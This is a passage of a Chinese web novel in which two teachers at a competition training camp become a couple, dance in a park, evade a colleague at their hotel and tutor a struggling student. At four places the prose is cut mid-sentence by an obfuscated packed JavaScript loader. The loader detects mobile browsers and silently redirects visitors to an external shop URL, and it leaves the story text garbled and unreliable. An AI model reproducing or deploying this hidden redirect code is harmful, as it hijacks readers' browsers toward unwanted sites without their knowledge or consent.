“我去,宋哥你还不算人生赢家吗,你还要求?给家人求健康平安?”连宋飞珑这种人生一帆风顺的大少爷都开始许愿,段辰愈发感到欲哭无泪。 “那当然了!来,把最中间的位置给我空出来!”宋飞珑霸气一挥手,拿着刚买的9999三根的金贵香,站到了佛祖眼皮子底下。 “各位大能在上,我许愿,一愿明女士和宋老板长长久久,爱情永存,相伴九十九!二愿咱们铁山今年所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406492|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竞赛生得偿所愿!” “宋哥!愿望说出来就不灵了!”还没等他说第三愿,段辰立马手忙脚乱地拉住他,“刚刚我们什么都没听见,你快在心里再许一遍!” “我不说出来,佛祖怎么能听见。”宋飞珑不以为意,“不过小段你所言在理,我再许一次。” “一愿…二愿…三愿我此生挚爱,能通我心意,他朝临雪,共我白头。”他闭着眼睛在心里慢慢想,脑子里浮现的全是心爱姑娘的一颦一笑。 三根香换三个愿望,如此也算等价交换。可天底下的事又有几件能是等价,在宋飞珑把香种进香灰中时,他还并未参透这一点。 他拍拍手上的灰,转头向某个方向瞟了一眼,很短,只几秒,泄露了他内心的偏爱。 那一刻,香霭朦胧。 唐瑜嫣原本正无所事事地盯着供着佛祖的神龛,只为给自己的视线找一个落点。 而就在宋飞珑望向她的那一瞬,她仿佛心有所感,倏然回眸。两人的目光就这样在空中完成了一次交汇。 “这算不算是两条平行线从相交到共线?”唐瑜嫣偏过头,在心中默默思忖,“罢了,我不该思考这些,至少不是此时此刻。” 完成了所有工序后,他们慢悠悠地从寺庙中转出去。走在返程的林荫道上,宋飞珑为他们分发请来的手串。 “这串,叫十八皆成,十八颗珠子每颗都有不同寓意,健康财富学业家庭,雨露均沾。这串,叫十全十美,是保佑诸事顺遂,生活美满。还有一串,好像叫众星捧月,总之是祝行行夺魁,感受团宠待遇。” “我挑得都是最满的寓意,你们有什么偏好吗?”他摊开手,将手链递到他们眼前展示。 “好难挑啊,我都好喜欢……哎老宋,你手上怎么也戴了一串?”展妙眼尖且不好糊弄,粉色香灰陶瓷,还有渐变,怪好看的,“不会是找桃花的吧?老宋,你变了,你开屏了。” 宋飞珑状似无奈地摇摇头,叹了一口气,“没办法,我大四了。别人都说,大四是人生最关键的一年。要是再找不到女朋友,这辈子都找不到了。” “研究生就不行了吗?”唐瑜嫣冷不丁开口,“是搞科研秃了还是怎地?” “不,研一也是最关键的一年,我们要打好科研基础,找到自己喜欢的方向,然后……” “研二呢?” “研二也是最……” “研三?” “这更是重中之重!” “得了得了,别再跟我讲中国人最关键的一生了。因为高二高三更是人生中最最重要的两年。”唐瑜嫣冷嘲热讽。 “所以你们要把握关键,不负青春韶华啊!”宋飞珑顺坡下驴,用车轱辘地不能再轱辘的话总结。 “而且今年过年,你们可真要今在别人拜年的时候自己在房间写作业了!好可怜,好无助!”他装模作样地恶心他们。 “我的荣幸,我是真怕了我的七大姑八大姨了。”想到去年的i人地狱,唐瑜嫣忍不住抒发内心的欣喜,“终于有充分的理由和借口躲在房间里了!” “可是我真的很需要亲戚们的红包。”段辰眼泪汪汪,“我的压岁钱啊!” “提前记住亲戚的名字,割完韭菜就跑。”展妙给他提建议,“拿出哄佛祖的劲哄他们,保管一套一个准。” “你怎么知道我平时就这么干的!” “我不行了,那你在遗憾什么,哈哈哈哈哈哈哈!” 他们的第一次集训生活,便在此刻落下帷幕。 44. 第 44 章 此刻,傍晚,西德附近,公园里一个并不宽敞的长椅上,两人的交谈还在继续。 “宋飞珑,我回答完了,轮到你了!” “给你一个坦白从宽的机会,你到底是从什么时候开始喜欢我的,点长明香的那天吗?”唐瑜嫣举起手做话筒,递到宋飞珑嘴边,摆出不得到答案誓不罢休的架势。 “你要给我留点神秘感啊,缺少了神秘感的吟游诗人,可创作不出吸引公主殿下的诗。”宋飞珑靠着椅子的身子愈发没正型,呲溜一下往下滑了一截,躲开她的审视。 唐瑜嫣的视线始终跟随他往下,并未被这么轻易地甩开。直到他即将与大地母亲亲密接触,她实在看不下去,才张开握拳的手,使劲把他捞回来。 “你别以为……”宋飞珑身子刚坐直,她又把话筒凑过去。 “好了好了,给你三次猜的机会怎么样,至少还能在你脑海中留下深刻的印象。”宋飞珑低头,在她手腕上轻轻啄了一下,“我要让你的海马体和神经突触活动一下。” “哦,先回答你的问题吧,不过很可惜不是在点长明香那天,你用了一次机会了哟!”他说得像是今天天气真好,超市清仓大甩卖,我在砍价,你也来砍一刀吧。 “你觉得让我玩猜猜乐很好玩是吗?”感受到手腕上温热的触感,唐瑜嫣脸红了大半,忍不住蜷缩脚趾。 专业点说,这是传入神经将外界刺激传入中枢神经,中枢神经又将刺激传入输出神经引发的外在症状。简单而言,就是她忍不住在地面扣出了三室一厅。哦,真是两个吊诡的形容! 不想浪费剩下两次机会,她开始从头到尾地回顾那些能感到明显心动的瞬间。 “第一次见面得算一个,警匪片,新版校园风云志,跑太快了,心很难不动。” “但宋飞珑不可能对我一见钟情吧,这也太神经质了……不对,这人就是个神经质,再考虑一下。” “认识的第一个新年?一起看非遗表演的时候?说实话,铁水炸开那会儿心跳确实很快,那种近乎刹那间的灿烂……” “而且,他为什么专门单独给我打电话,明明群里还在聊天,按理来说……” “嗯……如果不是集训结束那会儿,那会是考完初赛出来的时候吗,这人莫名其妙地抱了抱我,还祝我自此之后天高海阔任自由。” “真是有病,要是我初赛就自由了,不就说明没进复赛了吗,纯纯地诅咒。不过这拥抱人人都有,也不独我一份……” “难道是我上大学之后吗,不可能啊,上大学之后我俩都没见过面。”她在心里微微列举,提出来后又快速自我否定。 “哦,差点忘了,还有他集训前一天晚上把我骗去聊天那次,我的心也跳得好快,也不全是咖啡因的错,还有一半是好不容易洗完澡还被他叫出来,纯粹给气的。” “但他那天晚上好像,难得的有些迷茫……虽然存在他在逗我的可能性,看我哄他半天,专门闭嘴不说话,给他惯的!我猜了那么久……等等,那次也在猜吗……” “宋飞珑,不会真是,那天晚上吧…”她有些呆滞,缓慢地把手垂下来。 没想到降旗降到一半,竟被对方一把抓住,她看见那颗毛茸茸的脑袋因弯腰而低垂,脸蛋凑到她的手,然后很轻地笑了一下。 “Congratulations(恭喜)!这位女士,你答对了!中了头奖的你想许什么愿望呢?” 聊了这么久,蓝调时刻终于过去,取而代之的是那一轮圆月,慷慨浩荡地反射他处的柔光,光照在宋飞珑身上,格外明亮。 唐瑜嫣看着他被月光拉得长长的影子有些呆滞,嘴上下意识地应和,“哇哦,那真是我的荣幸。” 一股难言的惊涛却于此刻涌上心头。 她知道宋飞珑喜欢她,或者称得上是爱? 爱和喜欢是不一样的,你可以喜欢一切美好的事物,云想衣裳花想容,美人之美,美美与共。 爱呢?爱可以有很多种,亲情的爱,友情的爱,可对于爱情的爱而言,那便只是除却巫山不是云,唯你能及。 “竟然这么早吗……他好像贯穿了我从高中生到教高中生的大片人生,”唐瑜嫣单手绞着衣角,忍不住想,“哈,如此惶恐,竟然让他如此潜移默化地入侵了我的世界。不行,我不能让他再做得更多了。” 她低头往下望,宋飞珑还保持抓着她的手的姿势,“嗯……?说话呀,想兑什么奖说呀,满足你的一切愿望!还是说想让我继续给你打欠条!” 满足一切愿望的奖券吗? “你扣了我几次有奖竞猜的奖券了?”她装作若无其事地问。 那颗月光脑袋楞了楞,开始掰手指计数,可惜自己能活动的手指就五根,没数几秒便掰完了。 他把唐瑜嫣的手放在他的腿上,表明这是他的工具,先别急着收回去,晚点用得上,又开始别自己的另一只手。 “哎呀好多,数不清楚了,你从来没兑过奖,我欠成老……唔——” 话还没说完,一股大力从下方传来,掐住他的下巴,把他的头顺带托起,然后,一道温热的吐息绕上了他的唇。 与那份不容拒绝的力道不同,这个吻如同蜻蜓点水般浅尝,也如同爱意呢喃般温柔隽永。 宋飞珑轻轻扶上在他下巴上兴风作浪的那只手,带着我真不知道说你什么好的无奈,“哎呀,小唐,女孩子的初吻要献给值得托付一生的人,心急吃不了热豆腐呀。” “我知道。你不是吗?”唐瑜嫣看他的眼神算得上睥睨。 “哎呀,我还在向你证明我是呢!现在还处于薛定谔的阶段。”宋飞珑眨眨眼。 “不用继续证明了,你就是,我本来就一直都这么认为,辅以这段时间你的所作所为佐证。” “我把我所有兑奖券的余额都用上,从现在开始,你就是我的男朋友了。别再给我整你那套追不追的,现在已经结束进入下一个阶段了。”唐瑜嫣听见自己用风轻云淡又不容拒绝的语气说。 “怎么这样,小唐好霸道啊……”宋飞珑愣了愣,随即将手与唐瑜嫣的十指相扣,“但怎么想都是你吃亏呢,我追求你,你可以享受单向的好,哦,甚至可以享受多倍单向的好。” 多倍单项的好……当她养鱼来了,闲着没事干每天在池塘里钓一条。 “神经,我又不是时间管理大师,对付你一个就够了,”唐瑜嫣翻了个白眼,懒得跟他掰扯一堆多,多对一,一对一等数据库分类逻辑,“我不觉得吃亏,反正你不同意也得同意,我用了券。” 这真是挖了坑给自己跳,说好满足一切愿望,总不能自己食言,宋飞珑咋舌,这下好像不得不同意了。 “好吧好吧,那我只能含泪删减我的追人计划了。”他挠着唐瑜嫣的手摇啊摇,嘴角弯起,眼中波光粼粼,笑得荡漾,“这样的话,就感谢唐小姐让我追到了我的偶像了。那,日后也要多多指教哦!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406493|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >偶像?偶像吗!啧,为什么要边晃我的手,边说这种话啊…… “指教称不上,我们像这样聊天就好,哦不是现在这样,反正就是,聊天……”唐瑜嫣怕被这人迷得七荤八素,慌忙换话题找补。 她越是这样,宋飞珑越是蹬鼻子上脸。 “小唐别害羞啊,你刚刚强吻我的时候可不是这样的。” “我的贞洁都没了!既然这样,从今往后,无论贫穷还是富有、疾病或健康、美貌或失色、顺利或失意,我保证我都会坚持衷心不变,理解你,尊重你……” 若有时间定格,那便就是在此刻,万里长风拂面,此之谓野火燎原。 “……这不是婚礼誓词吗,我真…我真是服了你了,你现在说了我们结婚的时候说什么。” 唐瑜嫣一只手挣脱不开,愈发感到无地自容,索性动用另一只手去捂他的嘴,“别跟我说不以结婚为目的的恋爱就是耍流氓!那也不是现在念誓词的理由!” “没事!我就提前承诺一下,等结婚那天再说一遍,反正我不嫌丢脸!”宋飞珑去拉她另一只手,将自己的嘴解放,又开始说他的歪门邪道,“这样够让你感受到安全感了吗?即使恋爱结婚,你也可以永远是你。” “我……本应如此好吗!你最好别在我的世界里兴风作浪,不然我一定把你踢出去。”两只手都被控制住了,她改用脚踢他,“你要明白自己的身份地位,乖乖安营扎寨。” “好好好,能落户拿到房产证已经是我莫大的荣幸了。所以,这位美丽的小姐,你愿意跟我跳一支舞吗?” “不是美丽的小姐且不愿意……我只焊过有小人跳舞的音乐盒,没跳过舞啊!哎,你什么意思!强买强卖是吧,待会儿就给你踩截肢。” 她话刚说到一半,就被对方顺着两只手拉着的姿势扶起来,“哎呀,我们小唐就是大美人啊!你听我指挥……左脚向后右脚向前,左脚向后,右脚向前,转……哎对。” 他们在月下跳圆舞曲,不是晚宴,没有观众,没有可交换的舞伴,唯有彼此,多么安静又美满的二人世界。 “宋飞珑,虽然不一定合适,但我现在真在想一首曲子,”唐瑜嫣忙着用大脑小脑指挥左右脚交替,颇有些忙碌地跟着对方从容的舞步,“爱乐之城那个,《cityofstar》。” “氛围上很像,不过我很有钱,可以支持你的所有理想!一二转,再转,perfect(完美)!”宋飞珑指挥她绕过树和路灯。 “你在玩音游吗,还打分,15bo(连击)!说真的,圆舞曲为什么没有飞踢,我真要给你一脚了!”唐瑜嫣怀疑这人想靠跳舞转回酒店,那真要累虚脱了。 “那只有少林功夫能满足你的需求了!哎,左脚!”宋飞珑快速给她答案,“哎呀,我们小唐要练就飞檐走壁绝世武功。” “我不要成为秃驴和尚,我搞科研都没掉光头发!”唐瑜嫣边换脚边抗议,“我们怎么回酒店,这么跳到大街上会被别人当神经病看的!” “快了,就跳完这一段。对,就这,转个圈,鞠躬,太棒了!SSS!” “……你真没有确证过腱鞘炎吗,我感觉你搓玻璃已经搓到走火入魔了。” “怎么会!好了,好了,咱们回酒店。你问交通工具?没事,我已经叫家里分公司的人来给我送车了。” “这样温柔的夜晚,真是难得,是不是?” 宋飞珑有些神经质地总结。 45. 第 45 章 “你不是说分房这事儿,交给你我放心吗!那现在是什么情况?” 再一回神,两人已经打车返回酒店。唐瑜嫣狗狗祟祟地从电梯口的拐角探出头,指着走廊尽头正笑着打视频电话的陈老师,掩着嘴小声咬耳朵。 这不对啊,不应该是这样的! 按理来说,即使住在隔壁房间,能打照面的机会也很少。酒店早上安排了定点班车,两人若是都习惯踩点,还真有可能偶遇。而晚上一向归期不定,要是碰上只能是巧合中的巧合。 但她已经连续五个晚上撞上他在房间门口打电话了! 宋飞珑的身子也从拐角处探出来。他把头凑到唐瑜嫣的旁边,压低声音解释老陈每天刷新在这的原因,“你不是只吩咐了不要老盛吗。” “主要是老陈非要住窗户边、低楼层。他说他每晚都要和他老婆儿子打电话,但房间是双人间,让别人老听到夫妻俩蜜里调油的情话总不是个事儿。” “然后我就把酒店平面图调出来给他选,他看了老半天,只心仪这间房,这里满足他的所有需求,临窗又是走廊尽头,对别人的影响最小。我拗不过他。” “道理是这个道理,但他每天都站在房间门口打俩小时电话……不是,他也不嫌累?”唐瑜嫣把即将脱口而出的“诡异”两字咽回肚子里。 她实在是想不出还有什么更贴切的形容词,只得伸手一通比划,试图用浮夸的动作表达内心的无语。 “那咱去帮他搬个椅子来?让他别刷健康步数了,咱们都没走过他。”宋飞珑贴心建议。 “重点在搬椅子吗?我的意思是他为什么不去楼下小花园坐着打,还可以跟绿植一块儿呼吸养生。”唐瑜嫣微微扬起声音,“而且现在最关键的难道不是我俩怎么踩着他的视野盲区回房间吗?” “老陈脾气这么好,看到也不会说什么的吧?”宋飞珑失笑,在她脸上偷偷亲了一口,宣布:“他要是问起,我就告诉他,是的,我们俩就是在幽会。” 这人之前天天说要守身如玉,碰一下都要理论半天,怎么一确定关系就变成亲亲怪了?唐瑜嫣暗自决定下一次一定要找机会摸一把宋公子的腹肌。 “……啧,怎么说呢,反正总有一种向家里长辈介绍对象的尴尬感。哦,特别家长还是恋爱脑家长,用那种姨母笑看着你,老天!”她蹙起眉。 “那军师大人怎么看,咱们是声东击西还是反客为主,或者是等他煲完电话粥后再暗度陈仓。”宋飞珑向她积极献计。 “……我怎么觉得我们是那只被守株待兔的兔子呢?”唐瑜嫣深吸了一口气,率先迈出脚步,“算了,咱们直捣黄龙,总有这么一天,咱们不可能永远谈地下恋吧。” “这样么?没事,那我来替你吸引火力。”宋飞珑说着把她的身子挡在后面,“咱们让老陈后知后觉。” “爸爸,后面有一个大哥哥在向你靠近!启动防御系统!机甲勇士,变身!坏蛋,不给你伤害爸爸!” 老陈和师母结婚早,过了好几年二人生活后才生的小陈。这小孩儿还在小学四年级,正是无忧无虑且中二的年纪,一身牛劲没处发,一眼就注意到视频通话中晃动的背景。 “我可不是大坏蛋,我是拯救江湖的大好人!” “小陈不认识我了?你幼儿园的时候,我还送过你上兴趣班呢!你当时坐电梯把所有楼层全摁了一遍,还把人家小姑娘气哭了!” 宋飞珑张嘴就是逗小孩,至于是逗乐还是逗哭你先别管。 那小孩果真乐得满脸通红,撅着嘴结结巴巴,“你……我……我才没有!你记错了!我才没有干过这种事!你就是个大坏蛋!” “小陈,不许乱说话,快跟小宋哥哥打个招呼,他不是间谍大坏蛋,他是爸爸的顶头上司!”这可是他们全家的金饭碗啊! 老陈连忙打断儿子乱发身份牌的绝妙臆想,转过身跟宋飞珑打了个招呼,又注意到躲在他后面的唐瑜嫣,“咦,小唐,你也在?” “嗯,我们去窃取人家学校的机密试卷了。”唐瑜嫣大方地解释,又颇为感慨地说:“老陈,一转眼没见,你儿子都长这么大了。你刚教我们的时候他才两三岁吧。” “那当然了,小唐你回来教书都有半年了……哎,等他上初中住校了,我们见面的时间就越来越少咯。” 老陈的注意力马上转回了与他儿子相关的话题上。 他想,孩子的一生真是和父母渐行渐远的过程,从每时相伴,变成早晚接送,再到成为周末父母,上大学了期待寒暑假相见,最后工作了,就只剩春节才够得上一句阖家团圆。 不过这也是幸福的家庭才有的苦恼,家庭不幸福的孩子恨不得早日经济独立,逃离原生家庭肘制。 “哎哟小唐,我儿子上初三了以后,他的化学可就交给你了。”老陈摸着下巴感慨。 “老陈你自己就是化学老师,哪有徒弟教师父儿子的说法!”唐瑜嫣一惊,连忙挥手表示不敢当。 这要是到时候开家长会,该是老陈叫她老师,还是她叫老陈老师啊?那魏浩他们又该叫自己和老陈什么啊?师姐的老师是我老师且叫我师姐老师?辈分简直乱成了一锅粥,编个绕口令趁热喝喝算了。 “小唐你别担心辈分啊,各论各的,各论各的!”宋飞珑笑着解围,“医学不自医,老师也难教自己儿子。” “还有,老陈你赶紧趁现在多陪陪儿子,周末别老想着自愿加班,自愿加课。师母都来跟我投诉好几次了,说我们压榨劳动力,我简直是跳进黄河也洗不清啊!” “啧,我得对孩子们负责啊是不是,他们高考要紧,这可是人生大事!而且我和小陈约好了,这次集训完回去就带他去游乐园,是不是,小陈!” 老陈笑着哄手机那头因为打不到大坏蛋,暗自生闷气的小陈,“爸爸保证,这次绝对不食言。” “那我要玩十次海盗船!”小陈脸上苹果肌立马提得老高,嘴上却还在赌气,向屏幕对面的老爹比了个大大的十。 “好好好,不愧是我儿子,就是勇敢,敢在加勒比海上冒险行船呢!”老陈还是这般笑呵呵的模样,“好了乖乖,快回去睡觉,把手机还给妈妈,爸爸明天再跟你讨论旋转陀螺争霸赛的剧情。” “我不,我还想再看一集,爸爸你再陪我看一集嘛!”闻言,小陈立马把自己裹成一个蝉蛹,在床上打滚耍赖。这招对老陈而言真是屡试不爽。 “太晚了!明天再看,动画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406494|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片又跑不了!”老陈徒劳地轻哄。 怪不得不愿亲自教儿子,自古慈父多败儿,这么教下去怕是连作业都舍不得布置。含在嘴里怕化了,捧在手心怕摔了,还是让别人去当这个坏人吧。 好吧,说坏人坏人到,小陈钦定的大反派又露出了他的獠牙,“小陈,你知道吗?传说中有一个怪物,专门吃夜晚不按时睡觉的小朋友!你要是再这么任性,怪物可要敲你的门,把你吞进肚子里了哦!” “你知道怪物肚子里有什么吗?各种的消化液!胃酸、胰液、胆汁、小肠液……” “怎么可能!我们老师说了……我不信……我都四年级了!反正我才不怕大怪兽!”小陈从床上蹦下来,穿着拖鞋哒哒哒跑去客厅,把手机塞回他母亲手里,“哼,我才不怕呢!我只是听爸爸的话而已,爸爸明天见!” “哎哟,还是小宋你有办法!”老陈见儿子乖乖睡下,手机电量又标红,跟他老婆说了几句体己话后,就把屏幕按黑收回口袋,“你们也早点回去休息,这几天忙得够呛了吧。” “听说小魏他们还跟人家约了比赛,年轻真好啊,这股初生牛犊不怕虎的劲儿,今年说不定铁山真要多几块金牌了。”老陈笑眯眯地用房卡刷开房门,“后生可畏啊!” 此人已经完全忘却了唐瑜嫣和宋飞珑半夜一起归来的事,直到很后面别人来问他,他知不知道这俩在一起的事的时候,他才反应过来,原来这事儿早就有所预告。 “后生可畏……”唐瑜嫣心里默念着这几个字,也动手刷开自己的房门,“长江果真是后浪翻前浪。可惜前浪虽然不想努力,却还未修至能豁达接受自己沦为炮灰的境界。所以这么转了大半天,还是要活到老,卷到老吗?” “嘿,这儿这儿,我们还没说再见呢!”眼见她一直若有所思,快关上门还没有开口的意思,宋飞珑煞有介事地出声提醒,“晚安,小唐!” 被这人催魂般的叫唤声惊醒,唐瑜嫣从门缝间抬起眼,向他施舍了短短一瞥后,抬手比出一个干脆的“OK”。 宋飞珑满意地点点头,向她回了一个快乐小狗来回乱蹦表示已阅,没想到对方突然将手势翻转,五指散开向外一挥,展示出了一个明明白白的“滚”字。 还在开屏,还在开屏!老陈的门都没关严实呢!唐瑜嫣无声的怒吼震耳欲聋。 像是被她五指弹出的剑意击飞,影子小狗遗憾退场,换上来的是捂着胸口向后倒的宋孔雀。他靠在对门的门板上,可怜兮兮地望着她,向她比了个飞吻。 唐瑜嫣顿感没脸见人,加快手上动作,咔哒一下把门闭死,颇为无情地转身回屋,在属于她自己的床上一倒而下。 此时徐真正在浴室里吹头发,暂时顾不上八卦她为晚归编出的各种借口,也就为她留出了一段清净时间。好吧,也算不上清净。毕竟吹风机还在敬业地呼呼作响。 伴随着第二次工业革命带来的先进产物的嗡鸣,唐瑜嫣躺在床上放空大脑。彼一放松,自己强吻宋飞珑的画面便疯狂闪回,她把脸闷进扒拉来的枕头里,明天又该怎么面对他呢? 她怎么就这么有种?就这样把清风流云握到手里了?莫名其妙就多了一个男朋友?OhJesus!(耶稣) 46. 第 46 章 自打确定关系,宋飞珑的显摆便愈发不可收拾。不出两三日,周围的老师不是心知肚明,就是不全知内情也被迫日日观摩,总之也是个半公开的事儿了。 “肖筠云找你开小灶?那冯熠找我干什么?”唐瑜嫣披上大衣外套,准备和徐真去餐厅觅早食,晚一些还得去西德开大会。 “想让你教他生物化学吧,他这几天超努力,能背的都在背,好像就学不会生化,化学基础太烂了。”徐真把脚捅进麂皮靴子里,把门推开,想当然地跟对门邻居打招呼。 “宋校巧啊,又来等小唐了?” “不巧不巧,我专门的。”宋飞珑笑眯眯地跟她们打招呼,颇为自然地拉上唐瑜嫣的手,按亮电梯按钮,“盯着你们门板看半小时了,这把手里混了几种元素都快看出来了。” 唐瑜嫣嘴角抽搐,这人真是给点颜色就开染坊……礼貌打招呼还真当回事了,叽里咕噜说这么多,没有人问你! “……宋孔雀,你和老陈有什么区别?一个早上站岗,一个晚上站岗,合着我门外成二十四小时保安亭了,”她玩着宋飞珑的手,真情实意地劝说,“说真的,我每天都差不多这个点出来,你别提前半小时等了。” “那不行,你否定我兴趣爱好就算了,不能阻碍我的学术研究!等着吧,我这篇《有关酒店门板是否会因自由心流自动化的相关论述》很快就能上下期《柳叶刀》了。”宋飞珑煞有介事地说。 “还有医学奇迹的事吗?”唐瑜嫣想都不想,直接翻了个白眼,阴阳怪气道,“想不到我们宋公子学完化学,学完心理,下一步要进军医疗行业了!” “万物互联嘛!万物互联!”电梯到站了,宋飞珑把她推向餐厅,“我接个电话,你们慢慢吃!” 这一接下来,唐瑜嫣便一早上没再见过他的人影。 “哇,宋校他超爱!等了一早上就为送你这一段路!”徐真捂着嘴笑,“他这几天快忙飞了吧,我前几天听八卦,西德来对接的领导屁大点事都要联系一下他。” “包括且不限于为咱们开会提供的水,是用红色塑料纸包装的还是绿色塑料纸包装的。他说咱们校服是绿的,他们平时提供红的,万一中间有什么说法呢!” 唐瑜嫣听罢顿感离谱至极,盛粥的手一顿,刚翻了半天才翻上来的虾又沉了下去。这海鲜粥里料子太足,想要找到这红色曲背物什实属不易,她只好铩羽,另寻猎物。 “这西德到底沉浸在什么奇怪的官僚氛围里。”唐瑜嫣边搅动着汤勺边问,“这样的学校怎么教出放至全国都称得上顶尖的学生的?” “补课?还有,你别看他们这么龟毛,其实运营体系很成熟的。磨人,但不犯错,少了试错成本,效率当然高。只是里面的老师压力就大了,高中部每年都要下放一批业绩不好的老师到初中部历练。” 徐真泡了一碗燕麦,靠在唐瑜嫣旁边等她的面包烤好,“衬得咱们附中像家庭小作坊一样,家人侠,启动!” 唐瑜嫣终于舀完了粥,她满意地看着自己搭配的营养早餐,端着碗和徐真并肩走向沙发靠椅那边。 “……小徐,听你如此之谈吐,我有个朋友想介绍你认识一下,我觉得你们会很聊得来。”她倚着沙发靠背,懒洋洋地说。 此话一出,徐真立马切换出满脸恐慌的表情,颤颤巍巍地问:“小唐,你不会也是来帮我牵线的吧?” “你知道吗?上一个想为我介绍聊得来的朋友的人是我妈,她嘴里说的那个朋友,是一个喜欢在卧室里用福尔马林泡标本,半个月都不出门的科学怪人!” “她还问我,我一房间的手办和人家一房间的动物骨架有什么区别!死者和活人!区别还不大吗!”她委屈地哭诉。 “……还好我妈从没让我去相过亲。”唐瑜嫣拍拍她的肩膀以示安慰,“没事,我介绍的这个没这么离谱,也不是相亲,而且说不定你还见过呢。” “真的吗?帅吗?能撑得起西装吗?能戳我xp吗?能接受我一屋子的老公老婆儿子女儿吗?能有宋校一半好,我都考虑跟他介绍一下我的家产。”徐真一口气全吐了出来。 “嗯……我只能说未来可期吧!”唐瑜嫣故弄玄虚。 “啊!那就是养成系!年下?奶狗?是我喜欢的设定哎!”徐真眨巴着眼看她。 “年下确实是年下,他们家也的确有只大白狗,不过…可能跟你的预想有点偏差,”唐瑜嫣故意放慢语速,看着徐真越来越亮的眼睛,飞速揭穿谜底,“是老陈年仅四年级还在上小学的儿子了!” “啊!”徐真喉咙里爆发出尖锐爆鸣声,她疯狂摇晃唐瑜嫣的身体,“小唐,你也玩文字游戏,你怎么好意思欺负一个毛茸茸的二次元死宅!” 此番景观引得一餐厅的老师竞相观看,最终以二人被盛主任一手一个拎进大巴车收场。 听完徐真分享的八卦,唐瑜嫣在开会上课的时候观察了一下四周。果然,只有他们学校的老师喝的水是绿色塑料纸包装的,隔壁有个学校是蓝色包装的,其他的全是红色包装的。 “是吧是吧,我跟你说,而且我们座位的前后,是按去年出清北学生的人数安排的……” “……西德的校长三天两头请各学校校长喝茶,这会儿快把他们的喜好全摸干净了。做公立学校的校长做到这个地步,这是冲着上面去的啊。”徐真不计前嫌,继续向唐瑜嫣分享这几天从四面八方搜罗来的小故事。 怪不得宋飞珑每天都这么精神,原来是喝茶喝多了啊! “这就不关咱们的事儿了。”唐瑜嫣越听这些弯弯绕绕越烦,本来当时选纯理工就是因为不想应酬,选学术或者技术岗以避开这些,“咱们教好学生就成。” “小唐老师,你一定要救救我啊!!!”冯熠撕心裂肺地鬼叫响彻云霄,“我死都不要向那个叫我小辣椒的超雄sillydonkey(蠢驴)认输!” “虽然说把人逼急了什么都会做,除了数学,但也没人告诉我生物化学也这么难口牙!” “生物化学偏生物,化学竞赛都不学,你去找你们生竞的老师啊,”唐瑜嫣跟他举例说明,“虽然物理化学偏化学,但不是以哪个结尾就算哪门的啊。” “你不会吗!你敢说你不会吗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406495|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你敢说我就敢哭!吾命休矣!” “……会倒是真会一点,我大学打挑战者杯用相关课题拿了金奖,”唐瑜嫣今天连点了两个煤气罐,实在有些吃不消,捂着耳朵问他,“你学到哪了?哪里不会?氨基酸?蛋白质?脱氧核糖核酸?” “那么多网课教授加外培教授还教不会你这些吗?” “这个…这个小唐老师,我要是告诉你,我连手性分子和旋光性是什么都搞不清楚,你还愿意教我吗?”冯熠尴尬地挠挠头,硬掰出一个虚心求教的傻白甜表情。 手性…旋光性…这好像是这本书第二页还是第三页的内容吧。怪不得要来找她补,原来是真没招了。 唐瑜嫣的表情几经变化,挣扎着向他一伸手,“书给我看看,我都不知道现在改到第几版了。” 冯熠忙不迭给她递书,唐瑜嫣接过后快速翻动了一下,不由得眼前一黑。 哈,还高估了,原来是正文的第一页啊。 “你其他书都背完了吗?如果是想短期提分,不拖他们后腿,把其他知识点背完比学这个划算多了。”倒不是说什么别的,他想学唐瑜嫣也不会藏私,但凡事也得有个轻重缓急。 冯熠不好意思地挠挠头,抽出书里夹着的计划表,“喏,老魏帮我写的计划表,经老严和班长的手改出来的第二版,大概是早起背书,中午和下午写题,晚上听课,睡之前再背一会儿书。” “少爷啊,你这作息可比我们学校安排的魔鬼多了。你真不会干两天就崩溃吗?”唐瑜嫣瞟了一眼,诧异地挑眉,“小魏之前只是不喜欢被安排,早就习惯了自己这套作息。” 